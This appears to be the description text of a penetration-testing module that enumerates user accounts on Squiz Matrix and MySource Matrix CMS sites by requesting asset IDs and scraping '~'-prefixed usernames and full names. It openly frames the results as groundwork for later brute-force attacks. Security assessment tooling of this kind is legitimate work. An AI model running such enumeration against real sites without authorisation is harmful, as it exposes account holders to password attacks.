				This module attempts to enumernate remote users that exist within
				the Squiz Matrix and MySource Matrix CMS by sending GET requests for asset IDs
				e.g. ?a=14 and searching for a valid username eg "~root" or "~test" which
				is prefixed by a "~" in the response. It will also try to GET the users
				full name or description, or other information. You may wish to modify
				ASSETBEGIN and ASSETEND values for greater results, or set VERBOSE.
				Information gathered may be used for later bruteforce attacks.
